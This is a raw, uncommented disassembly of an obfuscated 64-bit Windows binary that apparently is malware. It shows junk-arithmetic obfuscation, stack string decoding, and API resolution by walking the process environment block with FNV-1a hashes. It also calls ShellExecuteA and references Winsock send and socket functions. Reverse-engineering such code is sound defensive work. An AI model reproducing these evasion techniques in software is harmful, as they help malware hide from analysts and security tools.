movabs rdx, 0xf696fb6e40250a2e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x42
add dil, dl
cmp rbx, 0x10
jae 0x140116c68
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jbe 0x140116bc2
movabs rdx, 0x2591a77322fdf784
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140116823
movabs rdx, 0xc9f755014bc76e4a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 6
add dil, dl
lea rax, [rbx + r10]
cmp rax, 0x41
je 0x140116cd2
lea rax, [r10 + 6]
cmp rbx, rax
jbe 0x140116b19
movabs rdx, 0xd10553fb1d2712aa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140116872
movabs rdx, 0xfb49f4d023095d1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140116a71
movabs rdx, 0xceaa4e632eabc138
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140116d30
movabs rdx, 0xa20aa7f63a4e2554
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
jmp 0x140116dfa
movabs rcx, 0x756b018945f08970
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x140116cbf
movabs rdx, 0x48cb5b1c5192ed8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140116cbc
movabs rdx, 0x1c2bb4af5d3551a8
mov ecx, 0x34
jmp 0x14011673d
movabs rcx, 0xef8c0e4268d7b5c4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x5c
jmp 0x140116dd1
movabs rcx, 0xc2ec67d5747a19e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x20
jmp 0x140116dae
movabs rdx, 0x964cc168801c7dfc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140116d86
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jae 0x140116a59
lea rdx, [r9 + r14]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401168d4
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140116a89
movabs rdx, 0xa918a6f00badc9b4
mov ecx, 0xa
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140116e86
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140116ab5
movabs rdx, 0xd5b84d5d000b6598
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x140116d40
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140116ae5
movabs rdx, 0x2ef79a36e8c69d60
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140116cbf
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401168d4
movabs rdx, 0x5b9740a3dd243944
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140116cbc
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140116b49
movabs rdx, 0xfda4fa681184ae8e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140116d86
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140116b75
movabs rcx, 0x56e44741fa3fe656
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x140116dd1
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140116ba1
movabs rdx, 0x962e0f5cbb655e6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4a
jmp 0x140116dfa
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140116872
movabs rdx, 0x36028762c013f1ca
mov ecx, 0x3d
jmp 0x140116d30
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140116bf2
movabs rdx, 0x52314de0175b9368
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140116e86
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140116c1e
movabs rdx, 0xab709aba0016cb30
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x50
jmp 0x140116dfa
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140116c3b
movabs rdx, 0xd8104126f4746714
mov ecx, Ordinal_60
jmp 0x140116acd
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140116823
movabs rdx, 0x314f8e00dd2f9edc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x140116c8e
movabs rdx, 0x106dce21a303aa50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x300]
sub dil, al
sub dil, 0x30
add dil, r8b
add dil, dl
movabs rdx, 0xa6bda1581d327842
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x300], cl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140116e95
movabs rdx, 0x3d0d748e97614634
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, byte [rbp + r9 + 0x300]
sub dil, 0x6c
jmp 0x140116dfa
movabs rcx, 0xe6292d4c9d215fde
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x12
jmp 0x140116e86
movabs rdx, 0xb98986dfa8c3c3fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140116e2d
movabs rcx, 0xadcba051ee921ca2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6e
jmp 0x140116dae
movabs rcx, 0x812bf9e4fa3480be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
movabs rdx, 0x7a1dfaeb28d4dc5e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x300], cl
add r10, r12
jmp 0x140116dd1
movabs rcx, 0xcead603128be112e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
sub r9, r12
jmp 0x140116e95
mov r8, r11
movabs rdx, 0x1c2ec67d5747a19e
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x52
add dil, dl
movabs rcx, 0xd35d47c511901426
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xa
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x300], al
add r10, r12
add rax, r10
sub r9, rax
movabs rdx, 0x69ad1afb8bbee218
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x300], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140116e86
movabs rdx, 0xc2ef79a36e8c69d6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r9 + 0x300]
add rax, r10
add r9, rax
add r9, r12
jmp 0x1401163da
movabs rcx, 0x1778bb4d7a50feba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x16
jmp 0x1401163d7
movabs rdx, 0xead914e085f362d6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401163c7
lea rdx, [rbp + 0x1726198]
jmp 0x140116f00
lea rdx, [rbp + 0x1612f8a]
jmp 0x140116f00
lea rdx, [rbp + 0x300]
mov dword [rsp + 0x28], r12d
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x140117072
xor edi, edi
mov esi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r15, r10
movups xmm0, xmmword [r10 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
mov r13d, 0x811c9dc5
test edi, edi
je 0x140116f96
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x140116f89
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140116f7a
cmp edx, edi
jne 0x140117056
mov r9, qword [r10 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140117056
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140117056
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r14]
add r8, r9
mov edx, r13d
jmp 0x140116fe6
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140116fdb
cmp edx, esi
je 0x140116ffa
test ebx, ebx
jne 0x140116fc9
jmp 0x140117056
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x14011706b
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14011706b
mov edi, r13d
mov esi, r13d
jmp 0x140117037
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140117029
jmp 0x14011704a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14011703f
mov r10, qword [r15]
mov r10, qword [r10]
cmp r10, r15
je 0x140117069
cmp qword [r10 + 0x30], 0
jne 0x140116f45
xor edx, edx
mov qword [0x1404fc118], rdx
mov ebx, 0x99
mov ecx, ebx
call rdx
mov qword [0], rbx
lea rcx, [rbp + 0x1280]
call fcn.14008b580
mov byte [0x1404fba43], 0
call fcn.1401035b0
mov byte [rbp - 0x70], 0xfe
mov byte [rbp - 0x6f], Ordinal_50
mov byte [rbp - 0x6e], Ordinal_200
mov r14d, 0x33
mov byte [rbp - 0x6d], r14b
mov byte [rbp - 0x6c], 0x34
mov byte [rbp - 0x6b], 0xa9
xor eax, eax
mov qword [rbp - 0x6a], rax
mov word [rbp - 0x62], ax
movabs rsi, 0x1e3d3b18808e33ba
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x10
jae 0x140117a33
movzx r9d, byte [rbp + r11 - 0x70]
mov r8, r9
cmp rbx, r11
ja 0x140117a2a
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140117124
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x16
jmp 0x14011715e
je 0x1401179a8
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140117926
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401178ee
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401178c7
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14011787b
cmp r10, r11
ja 0x140117a21
lea rax, [r10 + 0x42]
cmp rbx, rax
jae 0x140117195
movabs rcx, 0x7b05d9028baa3e42
add rcx, r11
mov al, cl
and al, r9b
mov edi, Ordinal_27
sub dil, al
add dil, dil
add dil, cl
add dil, r9b
jmp 0x1401171c9
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14011786a
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140117849
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140117822
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401177fb
lea rax, [r10 + rbx]
cmp rax, r11
jbe 0x1401174c2
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14011749f
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x140117478
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140117451
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14011742d
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140117406
lea rbx, [r10 + 0x400]
lea r10, [rbx + 5]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1401179fd
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401179da
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x1401172b6
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x14011737b
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 4]
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x140117358
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140117335
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x140117312
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x1401172fe
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x1401172db
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1401171d6
lea rbx, [r10 + 1]
lea r10, [rbx + 0x28]
jmp 0x1401171d6
movabs rdx, 0xf24a29ebcafd4716
add rdx, r11
mov al, dl
and al, r9b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1401170f5
movabs rcx, 0xd82ec8145d51f210
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x14011789d
movabs rdx, 0xe644ef5058e05440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401178fd
movabs rdx, 0x6d5002ee56a78558
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x68
jmp 0x1401177f3
movabs rcx, 0x30d58cbd558b1de4
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x140117976
movabs rcx, 0xf45b168c546eb670
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x1401179c6
movabs rcx, 0xe43402afcf6ee4e6
add rcx, r11
mov al, r9b
and al, cl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x4a
add dil, cl
cmp rbx, 0x28
jae 0x140117779
lea rax, [r10 + 0x41]
cmp rbx, rax
jbe 0x1401176c6
movabs rdx, 0xaf9cedd92d8c9194
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0xc
add dil, dl
cmp r10, 0x20
jb 0x14011776f
movabs rcx, 0xc658bc338a89c1c
add rcx, r11
mov al, cl
and al, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14011789d
movabs rdx, 0xe223160f45fd758c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1401179c6
movabs rcx, 0xf0393d4b418bd7bc
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x24
jmp 0x140117910
movabs rdx, 0x774450e93f5308d4
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1401178e6
movabs rdx, 0x3ac9dab83e36a160
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1401178c2
movabs rdx, 0xfe4f64873d1a39ec
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x74
jmp 0x1401175d6
lea rcx, [r10 + 2]
cmp rbx, rcx
jae 0x140117522
lea rdi, [r11 + rsi]
mov al, dil
and al, r9b
add al, al
sub dil, al
sub dil, 0x16
add dil, r9b
lea rax, [r10 + rbx]
cmp rax, 4
je 0x1401177d0
lea rax, [r10 + 0x5a]
cmp rbx, rax
jbe 0x1401175de
movabs rdx, 0x349714d6a1e25352
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x3e
add dil, dl
jmp 0x14011739c
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140117552
movabs rdx, 0xf60bb20517547c84
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1401179c6
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140117582
movabs rdx, 0x6f009e67198d4b6c
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140117949
cmp rbx, rcx
jne 0x1401175aa
movabs rcx, 0xe7f58ac91bc61a54
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x140117910
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1401174e1
movabs rdx, 0xd9df638d2037b824
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14011789d
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14011760a
movabs rcx, 0x71118b07a2febac6
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
jmp 0x14011789d
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14011763a
movabs rdx, 0xea067769a53789ae
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1401178e6
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140117666
movabs rcx, 0x9f75d9fca88cc00a
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
jmp 0x140117913
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140117692
movabs rdx, 0xdbf0502da9a9277e
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x72
jmp 0x1401177f3
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14011739c
movabs rdx, 0x186ac65eaac58ef2
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140117976
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401176f2
movabs rcx, 0xec17640a2ea8f908
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x1401179c6
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140117721
movabs rdx, 0x2891da3b2fc5607c
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x64
add dil, dl
jmp 0x140117976
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14011774e
movabs rdx, 0x650c506c30e1c7f0
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1401177f3
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401173d4
movabs rdx, 0xcfeb1592378c34a8
mov ecx, 0x34
jmp 0x14011788a
mov byte [rbp + r11 - 0x70], dil
jmp 0x1401179d2
movabs rcx, 0x48e001f439c50390
add rcx, r11
mov al, cl
and al, r9b
mov r8d, 8
sub r8b, al
add r8b, r8b
add r8b, byte [rbp + r11 - 0x70]
add r8b, cl
add r8b, r9b
movabs rdx, 0x671d3d0cba53374a
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 6
add cl, r9b
add cl, dl
mov byte [rbp + r11 - 0x70], cl
mov dil, r8b
jmp 0x140117910
movabs rdx, 0x855a78253ae16b04
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, byte [rbp + r11 - 0x70]
sub dil, 0x1c
add dil, dl
jmp 0x140117949
movabs rdx, 0xe5e49e289254aafa
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140117913
movabs rdx, 0xa96a27f791384386
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140117910
movabs rcx, 0xf3fac5648de30d2a
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x26
jmp 0x1401178c2
movabs rdx, 0xb7804f338cc6a5b6
mov ecx, 3
jmp 0x14011788a
movabs rdx, 0x3e8b62d18a8dd6ce
mov ecx, Ordinal_50
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movabs rdx, 0x2aa2c6dbb936cfd6
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 - 0x70], cl
add r10, r12
jmp 0x1401178e6
movabs rcx, 0xc596766f885507e6
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4a
sub r11, r12
jmp 0x1401179d2
movabs rdx, 0x4ca18a0d861c38fe
mov ecx, 7
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x1401179d2
mov r9, r8
movabs rdx, 0xd3ac9dab83e36a16
add rdx, r11
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rcx, 0xa397b33dbb6f9ebe
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x32
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 - 0x70], al
add r10, r12
add rax, r10
sub r11, rax
movabs rcx, 0xc1d4ee563bfdd278
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x48
add r9b, cl
mov byte [rbp + r11 - 0x70], r9b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
jmp 0x1401179c6
movabs rcx, 0x5ab7b14981aa9b2e
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
movzx eax, byte [rbp + r11 - 0x70]
add rax, r10
add r11, rax
add r11, r12
jmp 0x1401170e5
movabs rcx, 0xb5cfb3bac9e0dfa2
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
jmp 0x1401170e2
movabs rcx, 0x79553d89c8c4782e
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x42
jmp 0x1401170d2
lea rcx, [rbp + 0x14ac088]
jmp 0x140117a37
lea rcx, [rbp + 0x118f442]
jmp 0x140117a37
lea rcx, [rbp - 0x70]
mov dl, r12b
call fcn.1401a2714
mov byte [rbp + 0x320], 0xfe
mov byte [rbp + 0x321], 0xb1
mov byte [rbp + 0x322], 0x87
mov byte [rbp + 0x323], 0xb3
mov byte [rbp + 0x324], 0xb4
mov byte [rbp + 0x325], reloc.WLDAP32.dll_Ordinal_41
xor eax, eax
mov qword [rbp + 0x326], rax
mov dword [rbp + 0x32e], eax
movabs rsi, 0x852f948bcec8ed5a
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x12
jae 0x14011861b
movzx r8d, byte [rbp + r9 + 0x320]
mov r11, r8
cmp rbx, r9
ja 0x140118612
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140117adc
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x76
jmp 0x140117b09
je 0x14011858e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140118501
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401184a2
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14011844f
cmp r10, r9
ja 0x140118609
lea rax, [r10 + 0x80]
cmp rbx, rax
jae 0x140117b42
movabs rdx, 0xece72f77f67b7862
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140117b90
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140118440
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140118420
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401183fd
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401183d9
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401183b6
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14011838f
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x1401180ef
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x1401180db
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401180c7
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1401180b3
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140118090
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14011806d
lea rcx, [r10 + 5]
cmp rbx, rcx
je 0x14011804a
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140118027
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140118004
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140117fe1
mov rbx, rcx
lea r10, [rcx + 0xa]
lea rax, [r10 + 4]
cmp rcx, rax
jb 0x1401185e6
lea rax, [r10 + 3]
cmp rcx, rax
jb 0x1401185c3
lea rax, [r10 + 2]
cmp rcx, rax
jb 0x140117d88
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x140117d65
lea rax, [r10 + 0x2a]
cmp rcx, rax
jb 0x140117d42
lea rcx, [r10 + 0x5a]
cmp rbx, rcx
jb 0x140117f84
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140117ef6
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x140117ee5
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140117eb6
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x140117b9d
mov rbx, rcx
lea r10, [rcx + 3]
lea rax, [r10 + 0x41]
cmp rcx, rax
ja 0x140117e93
lea rax, [r10 + 0x7a]
cmp rcx, rax
ja 0x140117e6c
lea rax, [r10 + 0x61]
cmp rcx, rax
ja 0x140117e58
lea rax, [r10 + 0x1000]
cmp rcx, rax
ja 0x140117e31
lea rax, [r10 + 0x400]
cmp rcx, rax
ja 0x140117e0a
lea rcx, [r10 + 0x3e8]
cmp rbx, rcx
ja 0x140117df6
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x140117de2
lea rax, [r10 + 0x80]
cmp rbx, rax
